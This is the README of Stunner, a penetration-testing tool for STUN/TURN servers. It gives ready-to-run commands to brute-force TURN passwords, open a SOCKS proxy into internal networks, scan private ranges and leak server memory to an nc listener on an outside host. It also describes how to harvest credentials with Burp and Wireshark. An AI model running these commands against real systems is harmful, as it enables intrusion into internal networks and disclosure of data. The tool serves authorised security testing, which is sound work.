
STUNNER

Stunner is a tool to test and exploit STUN, TURN and TURN over TCP servers. TURN is a protocol mostly used in videoconferencing and audio chats (WebRTC).

If you find a misconfigured server you can use this tool to open a local socks proxy that relays all traffic via the TURN protocol into the internal network behind the server.

I developed this tool during a test of Cisco Expressway which resulted in some vulnerabilities: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/

To get the required username and password you need to fetch them using an out-of-band method like sniffing the Connect request from a web browser with Burp. I added an example workflow at the bottom of the readme on how you would test such a server.

LICENSE

This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view a copy of this license, visit <http://creativecommons.org/licenses/by-nc-sa/4.0/> or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.

implemented RFCs

STUN: RFC 5389

TURN: RFC 5766

TURN for TCP: RFC 6062

TURN Extension for IPv6: RFC 6156

Available Commands

info

This command will print some info about the stun or turn server like supported protocols and attributes like the used software.

Options

```
1 --debug, -d          enable debug output (default: false)
2 --turnserver value, -s value turn server to connect to in the format
  host:port
3 --tls                Use TLS/DTLS on connecting to the STUN or
  TURN server (default: false)
4 --timeout value      connect timeout to turn server (default:
  1s)
5 --help, -h           show help (default: false)
```

Example

```
1 ./stunner info -s x.x.x.x:443
```

range-scan

This command tries several private and restricted ranges to see if the TURN server is configured to allow connections to the specified IP addresses. If a specific range is not prohibited you can enumerate this range further with the other provided commands. If an ip is reachable it means the TURN server will forward traffic to this IP.

Options

```
1 --debug, -d          enable debug output (default: false)
2 --turnserver value, -s value turn server to connect to in the format
  host:port
3 --tls                Use TLS/DTLS on connecting to the STUN or
  TURN server (default: false)
4 --protocol value      protocol to use when connecting to the
  TURN server. Supported values: tcp and udp (default: "udp")
5 --timeout value      connect timeout to turn server (default:
  1s)
6 --username value, -u value username for the turn server
7 --password value, -p value password for the turn server
8 --help, -h           show help (default: false)
```

Example

TCP based TURN connection (connection from you the TURN server):

```
1 ./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol
  tcp
```

UDP based TURN connection (connection from you the TURN server):

```
1 ./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol
  udp
```

socks

This is one of the most useful commands for TURN servers that support TCP connections to backend servers. It will launch a local socks5 server with no authentication and will relay all TCP traffic over the TURN protocol (UDP via SOCKS is currently not supported). If the server is misconfigured it will forward the traffic to internal addresses so this can be used to reach internal systems and abuse the server as a proxy into the internal network. If you choose to also do DNS lookups over socks, it will be resolved using your local nameserver so it's best to work with private IPv4 and IPv6 addresses. Please be aware that this module can only relay TCP traffic.

Options

```
1 --debug, -d                enable debug output (default: false)
2 --turnserver value, -s value turn server to connect to in the format
  host:port
3 --tls                      Use TLS/DTLS on connecting to the STUN or
  TURN server (default: false)
4 --protocol value          protocol to use when connecting to the
  TURN server. Supported values: tcp and udp (default: "udp")
5 --timeout value           connect timeout to turn server (default:
  1s)
6 --username value, -u value username for the turn server
7 --password value, -p value password for the turn server
8 --listen value, -l value   Address and port to listen on (default: "
  127.0.0.1:1080")
9 --drop-public, -x          Drop requests to public IPs. This is
  handy if the target can not connect to the internet and your browser
  want's to check TLS certificates via the connection. (default: true
  )
10 --help, -h               show help (default: false)
```

Example

```
1 ./stunner socks -s x.x.x.x:3478 -u username -p password -x
```

After starting the proxy open your browser, point the proxy in your settings to socks5 with an ip of 127.0.0.1:1080 (be sure to not set the bypass local address option as we want to reach the remote local addresses) and call the IP of your choice in the browser.

Example: `https://127.0.0.1`, `https://127.0.0.1:8443` or `https://[::1]:8443` (those will call the ports on the tested TURN server from the local interfaces).

You can also configure `proxychains` to use this proxy (but it will be very slow as each request results in multiple requests to enable the proxying). Just edit `/etc/proxychains.conf` and enter the value `socks5 127.0.0.1 1080` under `ProxyList`.

Example of nmap over this socks5 proxy with a correct configured proxychains (note it's -sT to do TCP syns otherwise it will not use the socks5 proxy)

```
1 sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
```

brute-transports

This will most likely yield no useable information but can be useful to enumerate all available transports (=protocols to internal systems) supported by the server. This might show some custom protocol implementations but mostly will only return the defaults.

Options

```
1 --debug, -d                enable debug output (default: false)
2 --turnserver value, -s value turn server to connect to in the format
   host:port
3 --tls                      Use TLS/DTLS on connecting to the STUN or
   TURN server (default: false)
4 --protocol value          protocol to use when connecting to the
   TURN server. Supported values: tcp and udp (default: "udp")
5 --timeout value           connect timeout to turn server (default:
   1s)
6 --username value, -u value username for the turn server
7 --password value, -p value password for the turn server
8 --help, -h               show help (default: false)
```

Example

```
1 ./stunner brute-transports -s x.x.x.x:3478 -u username -p password
```

brute-password

This command tries all passwords from a given file for a username via the TURN protocol (UDP). This can be useful when analysing a pcap where you can see the username but not the password. Please note that an offline bruteforce is much more faster in this case.

Options

```
1 --debug, -d                enable debug output (default: false)
2 --turnserver value, -s value turn server to connect to in the format
  host:port
3 --tls                      Use TLS/DTLS on connecting to the STUN or
  TURN server (default: false)
4 --protocol value          protocol to use when connecting to the
  TURN server. Supported values: tcp and udp (default: "udp")
5 --timeout value           connect timeout to turn server (default:
  1s)
6 --username value, -u value username for the turn server
7 --passfile value, -p value passwordfile to use for bruteforce
8 --help, -h               show help (default: false)
```

Example

```
1 ./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
```

memoryleak

This attack works the following way: The server takes the data to send to [target](#) (must be a high port > 1024 in most cases) as a TLV (Type Length Value). This exploit uses a big length with a short value. If the server does not check the boundaries of the TLV, it might send you some memory up the [length](#) to the [target](#). Cisco Expressway was confirmed vulnerable to this but according to cisco it only leaked memory of the current session.

Options

```
1 --debug, -d                enable debug output (default: false)
2 --turnserver value, -s value turn server to connect to in the format
  host:port
3 --tls                      Use TLS/DTLS on connecting to the STUN or
  TURN server (default: false)
```

```
4 --protocol value          protocol to use when connecting to the
   TURN server. Supported values: tcp and udp (default: "udp")
5 --timeout value           connect timeout to turn server (default:
   1s)
6 --username value, -u value username for the turn server
7 --password value, -p value password for the turn server
8 --target value, -t value  Target to leak memory to in the form host
   :port. Should be a public server under your control
9 --size value              Size of the buffer to leak (default:
   35510)
10 --help, -h              show help (default: false)
```

Example

To receive the data we need to set up a receiver on a server with a public ip. Normally firewalls are configured to only allow highports (>1024) from TURN servers so be sure to use a high port like 8080 in this example when connecting out to the internet.

```
1 sudo nc -u -l -n -v -p 8080 | hexdump -C
```

then execute the following statement on your machine adding the public ip to the `t` parameter

```
1 ./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p
   password
```

If it works you should see big loads of memory coming in, otherwise you will only see short messages.

udp-scanner

If a TURN server allows UDP connections to targets this scanner can be used to scan all private ip ranges and send them SNMP and DNS requests. As this checks a lot of IPs this can take multiple days to complete so use with caution or specify smaller targets via the parameters. You need to supply a SNMP community string that will be tried and a domain name that will be resolved on each IP. For the domain name you can for example use burp collaborator.

Options

```
1 --debug, -d              enable debug output (default: false)
2 --turnserver value, -s value turn server to connect to in the format
   host:port
3 --tls                    Use TLS/DTLS on connecting to the STUN or
   TURN server (default: false)
```

```
4 --protocol value          protocol to use when connecting to the
    TURN server. Supported values: tcp and udp (default: "udp")
5 --timeout value          connect timeout to turn server (default:
    1s)
6 --username value, -u value username for the turn server
7 --password value, -p value password for the turn server
8 --community-string value  SNMP community string to use for scanning
    (default: "public")
9 --domain value          domain name to resolve on internal DNS
    servers during scanning
10 --ip value              Scan single IP instead of whole private
    range. If left empty all private ranges are scanned. Accepts single
    IPs or CIDR format. (accepts multiple inputs)
11 --help, -h              show help (default: false)
```

Example

```
1 ./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip
    192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --
    community-string public
```

tcp-scanner

Same as `udp-scanner` but sends out HTTP requests to the specified ports (HTTPS is not supported)

Options

```
1 --debug, -d              enable debug output (default: false)
2 --turnserver value, -s value turn server to connect to in the format
    host:port
3 --tls                    Use TLS/DTLS on connecting to the STUN or
    TURN server (default: false)
4 --protocol value          protocol to use when connecting to the
    TURN server. Supported values: tcp and udp (default: "udp")
5 --timeout value          connect timeout to turn server (default:
    1s)
6 --username value, -u value username for the turn server
7 --password value, -p value password for the turn server
8 --ports value            Ports to check (default: "
    80,443,8080,8081")
9 --ip value              Scan single IP instead of whole private
    range. If left empty all private ranges are scanned. Accepts single
    IPs or CIDR format. (accepts multiple inputs)
10 --help, -h              show help (default: false)
```

Example

```
1 ./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip  
192.168.0.1/24 --ip 10.0.0.1/8
```

Example workflow

Let's say you find a service using WebRTC and want to test it.

First step is to get the required data. I suggest to launch Wireshark in the background and just join a meeting via Burp to collect all HTTP and Websocket traffic. Next search your burp history for some keywords related to TURN like 3478, `password`, `credential` and `username` (be sure to also check the websocket tab for these keywords). This might reveal the turn server and the protocol (UDP and TCP endpoints might have different ports) and the credentials used to connect. If you can't find the data in burp start looking at wireshark to identify the traffic. If it's on a non standard port (anything else then 3478) decode the protocol in Wireshark via a right click as `STUN`. This should show you the username used to connect and you can use this information to search burps history even further for the required data. Please note that Wireshark can't show you the password as the password is used to hash some package contents so it can not be reversed.

Next step would be to issue the `info` command to the turn server using the correct port and protocol obtained from burp.

If this works, the next step is a `range-scan`. If this allows any traffic to internal systems you can exploit this further but be aware that UDP has only limited use cases.

If TCP connections to internal systems are allowed simply launch the `socks` command and access the allowed IPs via a browser and set the socks proxy to 127.0.0.1:1080. You can try out 127.0.0.1:443 and other ips to find management interfaces.